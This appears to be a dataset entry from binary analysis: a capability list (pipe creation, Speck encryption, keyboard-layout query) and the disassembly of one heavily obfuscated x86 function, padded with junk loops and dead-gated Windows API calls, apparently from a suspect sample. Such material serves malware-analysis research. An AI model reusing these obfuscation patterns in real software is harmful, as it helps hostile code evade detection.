Function at 0x1000f8f5
Capabilities:
Create pipe
Encrypt data using speck
Get keyboard layout
Query environment variable

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1005a5ac
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
sub esp, 0xfe8
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x844], 0x4831
mov dword [ebp - 0xa64], str.yjqfw_klewbqmd_bqhfxahr
cmp dword [ebp - 0x844], 0x49ca
jle 0x1000fa46
and dword [ebp - 0x350], 0
jmp 0x1000f954
mov eax, dword [ebp - 0x350]
inc eax
mov dword [ebp - 0x350], eax
cmp dword [ebp - 0x350], 0x1111
jge 0x1000fa46
and dword [ebp - 0x314], 0
jmp 0x1000f97a
mov eax, dword [ebp - 0x314]
inc eax
mov dword [ebp - 0x314], eax
cmp dword [ebp - 0x314], 0x4648
jge 0x1000fa41
and dword [ebp - 0x1f0], 0
jmp 0x1000f9a0
mov eax, dword [ebp - 0x1f0]
inc eax
mov dword [ebp - 0x1f0], eax
cmp dword [ebp - 0x1f0], 0x4f0c
jge 0x1000fa3c
and dword [ebp - 0x348], 0
jmp 0x1000f9c6
mov eax, dword [ebp - 0x348]
inc eax
mov dword [ebp - 0x348], eax
cmp dword [ebp - 0x348], 0x4178
jge 0x1000fa37
mov eax, dword [ebp - 0x1f0]
add eax, dword [ebp - 0x348]
mov ecx, dword [ebp - 0x350]
and ecx, dword [ebp - 0x314]
or eax, ecx
cdq
mov dword [ebp - 0xa90], eax
mov dword [ebp - 0xa8c], edx
push dword [ebp - 0xa8c]
push dword [ebp - 0xa90]
lea ecx, [ebp - 0xfbc]
call fcn.10001a21
pop ecx
pop ecx
mov dword [ebp - 0x980], eax
mov ecx, dword [ebp - 0x980]
call fcn.10001ac9
push eax
call fcn.10041a06
pop ecx
lea ecx, [ebp - 0xfbc]
call fcn.10001abf
jmp 0x1000f9b9
jmp 0x1000f993
jmp 0x1000f96d
jmp 0x1000f947
mov dword [ebp - 0x48], 0x81c2900
mov dword [ebp - 0xd0], 4
cmp dword [ebp - 0x48], 0
jne 0x1000fa6f
mov eax, 0x52bf3388
test eax, eax
jne 0x1000fa6f
and dword [ebp - 0x484], 0
jmp 0x1000fa79
mov dword [ebp - 0x484], 1
cmp dword [ebp - 0x484], 0xffffffff
jg 0x1000fa8e
mov dword [ebp - 0x8b4], 1
jmp 0x1000fa95
and dword [ebp - 0x8b4], 0
mov eax, dword [ebp - 0x48]
cmp dword [ebp - 0x8b4], eax
je 0x1000faac
mov dword [ebp - 0x8bc], 1
jmp 0x1000fab3
and dword [ebp - 0x8bc], 0
cmp dword [ebp - 0x8bc], 0x23cc
jle 0x1000facb
mov dword [ebp - 0x8c4], 1
jmp 0x1000fad2
and dword [ebp - 0x8c4], 0
cmp dword [ebp - 0x8c4], 0
jne 0x1000fae7
mov dword [ebp - 0x8cc], 1
jmp 0x1000faee
and dword [ebp - 0x8cc], 0
mov eax, dword [ebp - 0x48]
sub eax, dword [ebp - 0x8cc]
cmp eax, dword [ebp - 0x48]
jl 0x1000fb08
mov dword [ebp - 0x8d4], 1
jmp 0x1000fb0f
and dword [ebp - 0x8d4], 0
mov eax, dword [ebp - 0x48]
mov ecx, dword [ebp - 0x8d4]
lea eax, [eax + ecx - 1]
cmp dword [ebp - 0x48], eax
jg 0x1000fb2d
mov dword [ebp - 0xa44], 1
jmp 0x1000fb34
and dword [ebp - 0xa44], 0
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0xe18], eax
mov eax, dword [ebp - 0xd0]
mov dword [ebp - 0xd0], eax
cmp dword [ebp - 0xd0], 0
je 0x1000fe61
mov dword [ebp - 0x908], 0xfffffffc
mov dword [ebp - 0x1a0], 0
jmp 0x1000fb79
mov eax, dword [ebp - 0x1a0]
inc eax
mov dword [ebp - 0x1a0], eax
cmp dword [ebp - 0x1a0], 3
jge 0x1000fb95
mov eax, dword [ebp - 0x1a0]
mov dword [ebp + eax*4 - 0xba0], 0xffffffff
jmp 0x1000fb6c
mov dword [ebp - 0x48], 0
jmp 0x1000fba5
mov eax, dword [ebp - 0x48]
inc eax
mov dword [ebp - 0x48], eax
cmp dword [ebp - 0x48], 2
jg 0x1000fe5c
mov dword [ebp - 0x8dc], 0x2c31
mov dword [ebp - 0xa54], str.fsqpghyib_akt_pqgg_xlyqpd_xwr_lfnx_gemarqqi_qbf_jidijlvas_srfenywz_val_bxxb_tscllclbv_wwmynrt
cmp dword [ebp - 0x8dc], 0x2f42
jle 0x1000fcdb
and dword [ebp - 0x2b8], 0
jmp 0x1000fbe9
mov eax, dword [ebp - 0x2b8]
inc eax
mov dword [ebp - 0x2b8], eax
cmp dword [ebp - 0x2b8], 0x4271
jge 0x1000fcdb
and dword [ebp - 0x1a8], 0
jmp 0x1000fc0f
mov eax, dword [ebp - 0x1a8]
inc eax
mov dword [ebp - 0x1a8], eax
cmp dword [ebp - 0x1a8], 0x7ed7
jge 0x1000fcd6
and dword [ebp - 0x328], 0
jmp 0x1000fc35
mov eax, dword [ebp - 0x328]
inc eax
mov dword [ebp - 0x328], eax
cmp dword [ebp - 0x328], 0x1e77
jge 0x1000fcd1
and dword [ebp - 0x1b0], 0
jmp 0x1000fc5b
mov eax, dword [ebp - 0x1b0]
inc eax
mov dword [ebp - 0x1b0], eax
cmp dword [ebp - 0x1b0], 0x4a8c
jge 0x1000fccc
mov eax, dword [ebp - 0x2b8]
mov ecx, dword [ebp - 0x1a8]
shl eax, cl
and eax, dword [ebp - 0x328]
or eax, dword [ebp - 0x1b0]
cdq
mov dword [ebp - 0xa9c], eax
mov dword [ebp - 0xa98], edx
push dword [ebp - 0xa98]
push dword [ebp - 0xa9c]
lea ecx, [ebp - 0xfa4]
call fcn.10001a21
pop ecx
pop ecx
mov dword [ebp - 0xa4c], eax
mov ecx, dword [ebp - 0xa4c]
call fcn.10001ac9
push eax
call fcn.10041a06
pop ecx
lea ecx, [ebp - 0xfa4]
call fcn.10001abf
jmp 0x1000fc4e
jmp 0x1000fc28
jmp 0x1000fc02
jmp 0x1000fbdc
mov dword [ebp - 0x8f4], 0xfffffffc
and dword [ebp - 4], 0
cmp dword [ebp - 0x8dc], 0x2a88
jge 0x1000fd01
push dword [ebp - 0xa54]
call fcn.10041a06
pop ecx
jmp 0x1000fd1d
or dword [ebp - 4], 0xffffffff
jmp 0x1000fd27
mov dword [ebp - 0xa5c], 0xffff
mov dword [ebp - 0x2c0], 0
jmp 0x1000fd4a
mov eax, dword [ebp - 0x2c0]
inc eax
mov dword [ebp - 0x2c0], eax
cmp dword [ebp - 0x2c0], 2
jge 0x1000fd66
mov eax, dword [ebp - 0x2c0]
mov dword [ebp + eax*4 - 0xcf0], 1
jmp 0x1000fd3d
mov byte [ebp - 0xf7], 0
movzx eax, byte [ebp - 0xf7]
test eax, eax
je 0x1000fd86
push 1
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_SetSecurityDescriptorDacl]
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xba0]
mov dword [ebp - 0xd64], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xcf0]
mov dword [ebp - 0x908], eax
cmp dword [ebp - 0x908], 0
jne 0x1000fdce
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0xba0], 0
jne 0x1000fdce
and dword [ebp - 0x920], 0
jmp 0x1000fdd8
mov dword [ebp - 0x920], 1
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0xba0], 1
jne 0x1000fdf7
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0xba0], 0
jne 0x1000fe10
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0xba0], 0
jne 0x1000fe10
and dword [ebp - 0x928], 0
jmp 0x1000fe1a
mov dword [ebp - 0x928], 1
mov eax, dword [ebp - 0x920]
add eax, dword [ebp - 0x928]
mov dword [ebp - 0x8f4], eax
cmp dword [ebp - 0x8f4], 0x2452a2c7
jg 0x1000fe44
mov dword [ebp - 0x808], 1
jmp 0x1000fe4b
and dword [ebp - 0x808], 0
mov eax, dword [ebp - 0x808]
mov dword [ebp - 0xa5c], eax
jmp 0x1000fb9e
jmp 0x1000ff30
mov dword [ebp - 0x360], 7
mov dword [ebp - 0x1b8], 0
jmp 0x1000fe84
mov eax, dword [ebp - 0x1b8]
inc eax
mov dword [ebp - 0x1b8], eax
cmp dword [ebp - 0x1b8], 2
jge 0x1000fea0
mov eax, dword [ebp - 0x1b8]
mov dword [ebp + eax*4 - 0xec4], 0x7b6a
jmp 0x1000fe77
cmp dword [ebp - 0x360], 0
jne 0x1000feb2
cmp dword [ebp - 0x360], 0
je 0x1000fefe
mov dword [ebp - 0xd0], 0
jmp 0x1000fecb
mov eax, dword [ebp - 0xd0]
inc eax
mov dword [ebp - 0xd0], eax
cmp dword [ebp - 0xd0], 1
jg 0x1000fefc
mov byte [ebp - 0xd5], 0
movzx eax, byte [ebp - 0xd5]
test eax, eax
je 0x1000fefa
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_CreateCompatibleDC]
jmp 0x1000febe
jmp 0x1000ff24
mov byte [ebp - 0xf9], 0
movzx eax, byte [ebp - 0xf9]
test eax, eax
je 0x1000ff24
push 0
push 0xd23
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetDlgItemTextA]
mov eax, dword [ebp - 0x360]
mov dword [ebp - 0xd0], eax
mov dword [ebp - 4], 2
cmp dword [ebp - 0x844], 0x448c
jge 0x1000ff4f
push dword [ebp - 0xa64]
call fcn.10041a06
pop ecx
jmp 0x1000ff6b
or dword [ebp - 4], 0xffffffff
jmp 0x1000ff75
cmp dword [0x10074f88], 0
jne 0x10015018
mov dword [ebp - 0xb8], 1
mov dword [ebp - 0x150], 0x95d1c58b
mov dword [ebp - 0x330], 0
jmp 0x1000ffaf
mov eax, dword [ebp - 0x330]
inc eax
mov dword [ebp - 0x330], eax
cmp dword [ebp - 0x330], 3
jge 0x1000ffcb
mov eax, dword [ebp - 0x330]
mov dword [ebp + eax*4 - 0xe68], 0x48af
jmp 0x1000ffa2
mov eax, dword [ebp - 0xb8]
cmp eax, dword [ebp - 0xb8]
jl 0x1000ffe5
mov dword [ebp - 0x85c], 1
jmp 0x1000ffec
and dword [ebp - 0x85c], 0
mov eax, dword [ebp - 0xb8]
cmp eax, dword [ebp - 0xb8]
jge 0x10010006
mov dword [ebp - 0x40c], 1
jmp 0x1001000d
and dword [ebp - 0x40c], 0
mov eax, dword [ebp - 0xb8]
cmp dword [ebp - 0x40c], eax
jle 0x10010027
mov dword [ebp - 0x84c], 1
jmp 0x1001002e
and dword [ebp - 0x84c], 0
mov eax, dword [ebp - 0xb8]
cmp eax, dword [ebp - 0x84c]
jg 0x10010048
mov dword [ebp - 0x414], 1
jmp 0x1001004f
and dword [ebp - 0x414], 0
mov eax, dword [ebp - 0xb8]
cmp dword [ebp - 0x414], eax
jle 0x10010069
mov dword [ebp - 0x854], 1
jmp 0x10010070
and dword [ebp - 0x854], 0
mov eax, dword [ebp - 0xb8]
cmp dword [ebp - 0x854], eax
jle 0x1001008a
mov dword [ebp - 0x41c], 1
jmp 0x10010091
and dword [ebp - 0x41c], 0
push 4
pop eax
shl eax, 1
mov dword [ebp + eax - 0xe68], 0xfffffffa
cmp dword [ebp - 0x41c], 0xfffffffa
jge 0x100100b6
mov dword [ebp - 0x424], 1
jmp 0x100100bd
and dword [ebp - 0x424], 0
mov eax, dword [ebp - 0x85c]
imul eax, dword [ebp - 0x424]
mov dword [ebp - 0x150], eax
mov dword [ebp - 0x150], 0xfffffffb
jmp 0x100100e9
mov eax, dword [ebp - 0x150]
inc eax
mov dword [ebp - 0x150], eax
cmp dword [ebp - 0x150], 0x11
jne 0x10010117
mov byte [ebp - 0xd6], 0
movzx eax, byte [ebp - 0xd6]
test eax, eax
je 0x10010115
push 0x1547
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreatePipe]
jmp 0x100100dc
mov dword [ebp - 0x14], 0xb871c7bf
mov dword [ebp - 0x58], 0x1d976d99
mov dword [ebp - 0x2c8], 1
mov dword [ebp - 0x8a8], 0
mov dword [ebp - 0xbe0], 0xc0ac
mov dword [ebp - 0x1c0], 0
jmp 0x1001015c
mov eax, dword [ebp - 0x1c0]
inc eax
mov dword [ebp - 0x1c0], eax
cmp dword [ebp - 0x1c0], 3
jge 0x10010178
mov eax, dword [ebp - 0x1c0]
mov dword [ebp + eax*4 - 0x11c], 0x64a6847d
jmp 0x1001014f
mov dword [ebp - 0x14], 2
jmp 0x10010188
mov eax, dword [ebp - 0x14]
dec eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jl 0x100105c5
mov dword [ebp - 0x88c], 0x6e149f7f
mov dword [ebp - 0xb88], 0xd1a6
mov dword [ebp - 0x89c], 5
mov dword [ebp - 0x70], 0
jmp 0x100101c0
mov eax, dword [ebp - 0x70]
inc eax
mov dword [ebp - 0x70], eax
cmp dword [ebp - 0x70], 1
jge 0x100101d3
mov eax, dword [ebp - 0x70]
mov dword [ebp + eax*4 - 0x3c], 0x250e6da5
jmp 0x100101b9
mov dword [ebp - 0x70], 0
jmp 0x100101e3
mov eax, dword [ebp - 0x70]
inc eax
mov dword [ebp - 0x70], eax
cmp dword [ebp - 0x70], 4
jge 0x100101f9
mov eax, dword [ebp - 0x70]
mov dword [ebp + eax*4 - 0xeec], 0x7e906900
jmp 0x100101dc
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x3c], 0
jmp 0x1001021e
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x3c]
inc eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x3c], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x3c], 2
jg 0x10010418
mov dword [ebp - 0xa74], 0xffffffff
mov dword [ebp - 0x444], 0x38f738f5
mov dword [ebp - 0x884], 0xcfdfe924
mov dword [ebp - 0xa7c], 1
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x3c]
cmp dword [ebp + eax*4 - 0x11c], 0
jne 0x100102a1
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x3c]
mov dword [ebp - 0xdf4], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x3c]
mov eax, dword [ebp + eax*4 - 0x11c]
mov dword [ebp - 0xd6c], eax
cmp dword [ebp - 0x14], 0
jne 0x100102a1
and dword [ebp - 0x864], 0
jmp 0x100102ab
mov dword [ebp - 0x864], 1
cmp dword [ebp - 0x864], 6
je 0x100102c0
mov dword [ebp - 0x42c], 1
jmp 0x100102c7
and dword [ebp - 0x42c], 0
mov eax, dword [ebp - 0x42c]
sub eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x14]
cmp dword [ebp + ecx*4 - 0x11c], eax
jl 0x100102e8
mov dword [ebp - 0x86c], 1
jmp 0x100102ef
and dword [ebp - 0x86c], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x3c]
cmp dword [ebp - 0x86c], eax
jl 0x1001031a
mov eax, dword [ebp - 0x14]
cmp dword [ebp + eax*4 - 0x11c], 0
je 0x1001031a
mov dword [ebp - 0xa6c], 1
jmp 0x10010321
and dword [ebp - 0xa6c], 0
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0xe24], eax
mov dword [ebp - 0xa74], 0xf885
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x11c], 0
je 0x10010350
mov dword [ebp - 0x434], 1
jmp 0x10010357
and dword [ebp - 0x434], 0
cmp dword [ebp - 0x434], 5
jne 0x1001036c
mov dword [ebp - 0x874], 1
jmp 0x10010373
and dword [ebp - 0x874], 0
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp + eax*4 - 0x11c]
cmp dword [ebp - 0x874], eax
jg 0x10010391
mov dword [ebp - 0x43c], 1
jmp 0x10010398
and dword [ebp - 0x43c], 0
cmp dword [ebp - 0x43c], 0x72b21a35
jle 0x100103b0
mov dword [ebp - 0x87c], 1
jmp 0x100103b7
and dword [ebp - 0x87c], 0
mov eax, dword [ebp - 0x87c]
mov dword [ebp - 0x444], eax
mov eax, dword [ebp - 0x444]
mov dword [ebp - 0x884], eax
mov eax, dword [ebp - 0x884]
cmp eax, dword [ebp - 0x14]
je 0x100103f3
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x3c], 0
je 0x100103f3
mov dword [ebp - 0x44c], 1
jmp 0x100103fa
and dword [ebp - 0x44c], 0
mov eax, dword [ebp - 0x44c]
mov dword [ebp - 0xa7c], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x3c]
mov dword [ebp - 0x58], eax
jmp 0x10010209
mov eax, dword [ebp - 0x14]
cmp dword [ebp + eax*4 - 0x11c], 0
je 0x1001050e
push 4
pop eax
shl eax, 1
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x14]
mov esi, 0x364f
sub esi, dword [ebp + edx*4 - 0x11c]
imul esi, dword [ebp + ecx*4 - 0x11c]
cmp esi, dword [ebp + eax - 0x11c]
jl 0x1001045d
mov dword [ebp - 0xa84], 1
jmp 0x10010464
and dword [ebp - 0xa84], 0
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp + eax*4 - 0x11c]
mov dword [ebp - 0xd74], eax
cmp dword [ebp - 0x58], 0
jne 0x10010489
cmp dword [ebp - 0x14], 0
jne 0x10010489
and dword [ebp - 0x380], 0
jmp 0x10010493
mov dword [ebp - 0x380], 1
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x380]
mov dword [ebp + eax - 0x3c], ecx
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp + eax*4 - 0x11c]
add eax, dword [ebp - 0x380]
mov ecx, dword [ebp - 0x14]
mov ecx, dword [ebp + ecx*4 - 0x11c]
sub ecx, eax
cmp ecx, 0x75278539
jne 0x100104d3
mov dword [ebp - 0x388], 1
jmp 0x100104da
and dword [ebp - 0x388], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x388]
mov dword [ebp + eax - 0xeec], ecx
mov eax, dword [ebp - 0x388]
mov dword [ebp - 0x88c], eax
cmp dword [ebp - 0x88c], 0
je 0x1001050e
mov dword [ebp - 0xb80], 1
jmp 0x10010515
and dword [ebp - 0xb80], 0
mov eax, dword [ebp - 0xb88]
mov dword [ebp - 0xdfc], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x3c]
cmp eax, dword [ebp - 0x58]
jne 0x1001053c
mov dword [ebp - 0x454], 1
jmp 0x10010543
and dword [ebp - 0x454], 0
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp + eax*4 - 0x11c]
cmp dword [ebp - 0x454], eax
jne 0x10010567
cmp dword [ebp - 0x58], 0
je 0x10010567
mov dword [ebp - 0x894], 1
jmp 0x1001056e
and dword [ebp - 0x894], 0
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp + eax*4 - 0x11c]
cmp dword [ebp - 0x894], eax
jge 0x1001058c
mov dword [ebp - 0x45c], 1
jmp 0x10010593
and dword [ebp - 0x45c], 0
mov eax, dword [ebp - 0x45c]
mov dword [ebp - 0x89c], eax
mov eax, dword [ebp - 0x89c]
mov dword [ebp - 0x58], eax
mov eax, dword [ebp - 0x58]
mov dword [ebp - 0xd7c], eax
xor eax, eax
add eax, 0xfffffffd
mov ecx, dword [ebp - 0x14]
mov dword [ebp + ecx*4 - 0x11c], eax
jmp 0x10010181
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x11c], 0
je 0x100107f1
mov dword [ebp - 0x10c], 0xb6398c3d
mov dword [ebp - 0x900], 0x38ad7b59
cmp dword [ebp - 0x58], 0
jne 0x100107d9
mov eax, dword [ebp - 0x10c]
cmp eax, dword [ebp - 0x14]
jg 0x1001060e
mov dword [ebp - 0x464], 1
jmp 0x10010615
and dword [ebp - 0x464], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x11c]
cmp dword [ebp - 0x464], eax
jge 0x10010636
mov dword [ebp - 0x8a4], 1
jmp 0x1001063d
and dword [ebp - 0x8a4], 0
mov eax, dword [ebp - 0x900]
cmp dword [ebp - 0x8a4], eax
jl 0x10010657
mov dword [ebp - 0x8ac], 1
jmp 0x1001065e
and dword [ebp - 0x8ac], 0
mov eax, dword [ebp - 0x2c8]
add eax, dword [ebp - 0x8ac]
cmp eax, 0xfffffff6
jge 0x1001067b
mov dword [ebp - 0x470], 1
jmp 0x10010682
and dword [ebp - 0x470], 0
mov eax, dword [ebp - 0x10c]
cmp dword [ebp - 0x470], eax
jle 0x1001069c
mov dword [ebp - 0x6d8], 1
jmp 0x100106a3
and dword [ebp - 0x6d8], 0
mov eax, dword [ebp - 0x14]
cmp eax, dword [ebp - 0x6d8]
jl 0x100106ba
mov dword [ebp - 0x478], 1
jmp 0x100106c1
and dword [ebp - 0x478], 0
mov eax, dword [ebp - 0x10c]
cmp dword [ebp - 0x478], eax
jne 0x100106db
mov dword [ebp - 0x480], 1
jmp 0x100106e2
and dword [ebp - 0x480], 0
mov eax, dword [ebp - 0x900]
cmp dword [ebp - 0x480], eax
je 0x100106fc
mov dword [ebp - 0x6e0], 1
jmp 0x10010703
and dword [ebp - 0x6e0], 0
imul eax, dword [ebp - 0x6e0], 0x9737
cmp dword [ebp - 0x10c], eax
jg 0x10010721
mov dword [ebp - 0x488], 1
jmp 0x10010728
and dword [ebp - 0x488], 0
mov eax, dword [ebp - 0x2c8]
cmp dword [ebp - 0x488], eax
jle 0x10010742
mov dword [ebp - 0x810], 1
jmp 0x10010749
and dword [ebp - 0x810], 0
mov eax, dword [ebp - 0x10c]
cmp eax, dword [ebp - 0x810]
jl 0x10010763
mov dword [ebp - 0x490], 1
jmp 0x1001076a
and dword [ebp - 0x490], 0
mov eax, dword [ebp - 0x490]
neg eax
je 0x10010789
cmp dword [ebp - 0x2c8], 0
je 0x10010789
mov dword [ebp - 0xb90], 1
jmp 0x10010790
and dword [ebp - 0xb90], 0
mov eax, dword [ebp - 0x10c]
mov dword [ebp - 0xe3c], eax
cmp dword [ebp - 0x14], 0xfffffff8
je 0x100107ae
mov dword [ebp - 0x6e8], 1
jmp 0x100107b5
and dword [ebp - 0x6e8], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x6e8]
add ecx, 0x5588cb35
cmp ecx, dword [ebp + eax - 0x11c]
jg 0x100107d9
and dword [ebp - 0x498], 0
jmp 0x100107e3
mov dword [ebp - 0x498], 1
mov eax, dword [ebp - 0x498]
mov dword [ebp - 0x58], eax
jmp 0x100108ca
mov dword [ebp - 0x3cc], 1
mov dword [ebp - 0xbe8], 0xc19ed05
mov eax, dword [ebp - 0x3cc]
cmp eax, dword [ebp - 0x2c8]
jge 0x1001081f
mov dword [ebp - 0x4a8], 1
jmp 0x10010826
and dword [ebp - 0x4a8], 0
mov eax, dword [ebp - 0x8a8]
sub eax, 0x2d3770b
imul eax, eax, 0x589a
cmp eax, dword [ebp - 0x8a8]
je 0x1001084b
mov dword [ebp - 0x4a0], 1
jmp 0x10010852
and dword [ebp - 0x4a0], 0
mov eax, dword [ebp - 0x14]
cmp dword [ebp - 0x4a0], eax
jle 0x10010869
mov dword [ebp - 0x6f0], 1
jmp 0x10010870
and dword [ebp - 0x6f0], 0
push 4
pop eax
shl eax, 1
mov ecx, dword [ebp - 0x3cc]
imul ecx, dword [ebp - 0x6f0]
cmp ecx, dword [ebp + eax - 0x11c]
cmp dword [ebp - 0x3cc], 0
mov eax, dword [ebp - 0x14]
cmp dword [ebp - 0x4a8], eax
jle 0x100108a7
mov dword [ebp - 0xbd8], 1
jmp 0x100108ae
and dword [ebp - 0xbd8], 0
mov eax, dword [ebp - 0xbe0]
mov dword [ebp - 0xd84], eax
mov dword [ebp - 0x58], 0xd7cb4e35
mov eax, dword [ebp - 0x58]
mov dword [ebp - 0xbe8], eax
mov dword [ebp - 0xc8], 1
mov dword [ebp - 0x700], 1
mov dword [ebp - 0x6f8], 0x2ba75a59
mov dword [ebp - 0x91c], 1
mov dword [ebp - 0x4e8], 0xbfe7374
mov dword [ebp - 0xbf0], 0
mov dword [ebp - 0x1c8], 0
jmp 0x1001091f
mov eax, dword [ebp - 0x1c8]
inc eax
mov dword [ebp - 0x1c8], eax
cmp dword [ebp - 0x1c8], 3
jge 0x1001093b
mov eax, dword [ebp - 0x1c8]
mov dword [ebp + eax*4 - 0xe80], 7
jmp 0x10010912
mov dword [ebp - 0xc8], 0xc
jmp 0x10010954
mov eax, dword [ebp - 0xc8]
dec eax
mov dword [ebp - 0xc8], eax
cmp dword [ebp - 0xc8], 0xffffffe4
je 0x10010b6f
mov dword [ebp - 0xdc], 0x4b9a
mov dword [ebp - 0x828], 0xfffffffd
cmp dword [ebp - 0xdc], 0
je 0x10010993
cmp dword [ebp - 0xc8], 0
je 0x10010993
mov dword [ebp - 0x4c0], 1
jmp 0x1001099a
and dword [ebp - 0x4c0], 0
cmp dword [ebp - 0xc8], 0
je 0x100109e9
push 4
pop eax
shl eax, 0
mov dword [ebp + eax - 0xe80], 0
xor eax, eax
jne 0x100109ca
cmp dword [ebp - 0xdc], 0
jne 0x100109ca
and dword [ebp - 0x818], 0
jmp 0x100109d4
mov dword [ebp - 0x818], 1
cmp dword [ebp - 0x818], 0xffffffff
jne 0x100109e9
mov dword [ebp - 0x4b0], 1
jmp 0x100109f0
and dword [ebp - 0x4b0], 0
mov eax, dword [ebp - 0xc8]
mov dword [ebp - 0x6f8], eax
imul eax, dword [ebp - 0x4b0], 0x78e0
cmp dword [ebp - 0x6f8], eax
jle 0x10010a1a
mov dword [ebp - 0x4b8], 1
jmp 0x10010a21
and dword [ebp - 0x4b8], 0
mov eax, dword [ebp - 0x4b8]
mov dword [ebp - 0x91c], eax
cmp dword [ebp - 0x91c], 0x3bc1b0fe
jl 0x10010a45
mov dword [ebp - 0x4c8], 1
jmp 0x10010a4c
and dword [ebp - 0x4c8], 0
mov eax, dword [ebp - 0x4c0]
mov dword [ebp - 0x700], eax
mov eax, dword [ebp - 0x700]
cmp eax, dword [ebp - 0x4c8]
jne 0x10010a72
mov dword [ebp - 0x820], 1
jmp 0x10010a79
and dword [ebp - 0x820], 0
mov eax, dword [ebp - 0xdc]
cmp dword [ebp - 0x820], eax
jg 0x10010a93
mov dword [ebp - 0x4d0], 1
jmp 0x10010a9a
and dword [ebp - 0x4d0], 0
mov eax, dword [ebp - 0x4d0]
sub eax, dword [ebp - 0xc8]
jne 0x10010aba
cmp dword [ebp - 0xdc], 0
jne 0x10010aba
and dword [ebp - 0x708], 0
jmp 0x10010ac4
mov dword [ebp - 0x708], 1
mov eax, dword [ebp - 0xdc]
cmp dword [ebp - 0x708], eax
jg 0x10010ade
mov dword [ebp - 0x4d8], 1
jmp 0x10010ae5
and dword [ebp - 0x4d8], 0
mov eax, dword [ebp - 0xdc]
cmp dword [ebp - 0x4d8], eax
jge 0x10010aff
mov dword [ebp - 0x8b0], 1
jmp 0x10010b06
and dword [ebp - 0x8b0], 0
cmp dword [ebp - 0x8b0], 0x6efe
jg 0x10010b1e
mov dword [ebp - 0x4e0], 1
jmp 0x10010b25
and dword [ebp - 0x4e0], 0
mov eax, dword [ebp - 0xdc]
cmp dword [ebp - 0x4e0], eax
jle 0x10010b3f
mov dword [ebp - 0x710], 1
jmp 0x10010b46
and dword [ebp - 0x710], 0
mov eax, dword [ebp - 0x710]
mov dword [ebp - 0x4e8], eax
mov eax, dword [ebp - 0x4e8]
mov dword [ebp - 0x828], eax
mov eax, dword [ebp - 0x828]
mov dword [ebp - 0xbf0], eax
jmp 0x10010947
mov byte [ebp - 0x174], 6
mov byte [ebp - 0x173], 0x40
mov byte [ebp - 0x172], 0
mov byte [ebp - 0x171], 0x78
mov byte [ebp - 0x170], 4
mov byte [ebp - 0x16f], 0x2e
mov byte [ebp - 0x16e], 9
mov byte [ebp - 0x16d], 1
mov byte [ebp - 0x16c], 1
mov byte [ebp - 0x16b], 1
mov byte [ebp - 0x16a], 0xb
mov byte [ebp - 0x169], 9
mov byte [ebp - 0x168], 0xa
mov byte [ebp - 0x167], 0
mov byte [ebp - 0x166], 2
mov byte [ebp - 0x165], pe_nt_image_headers32
mov byte [ebp - 0x164], 0x59
mov byte [ebp - 0x163], 3
mov byte [ebp - 0x162], 2
mov byte [ebp - 0x161], 5
mov byte [ebp - 0x160], 2
mov byte [ebp - 0x15f], 2
mov byte [ebp - 0x15e], 0x1e
mov byte [ebp - 0x15d], 7
mov byte [ebp - 0x15c], 0x40
mov byte [ebp - 0x15b], 8
mov byte [ebp - 0x15a], 0x1c
mov dword [ebp - 0x54], 0x833fcb50
mov dword [ebp - 0x3d0], 0x191b4956
mov dword [ebp - 0xe04], 0x1f1e283d
mov dword [ebp - 0x338], 0
jmp 0x10010c60
mov eax, dword [ebp - 0x338]
inc eax
mov dword [ebp - 0x338], eax
cmp dword [ebp - 0x338], 2
jge 0x10010c7c
mov eax, dword [ebp - 0x338]
mov dword [ebp + eax*4 - 0x394], 0xfffa
jmp 0x10010c53
mov dword [ebp - 0x54], 1
jmp 0x10010c8c
mov eax, dword [ebp - 0x54]
dec eax
mov dword [ebp - 0x54], eax
cmp dword [ebp - 0x54], 0
jl 0x10010e17
mov dword [ebp - 0x3a4], 0xffffffff
mov dword [ebp - 0x1d0], 0
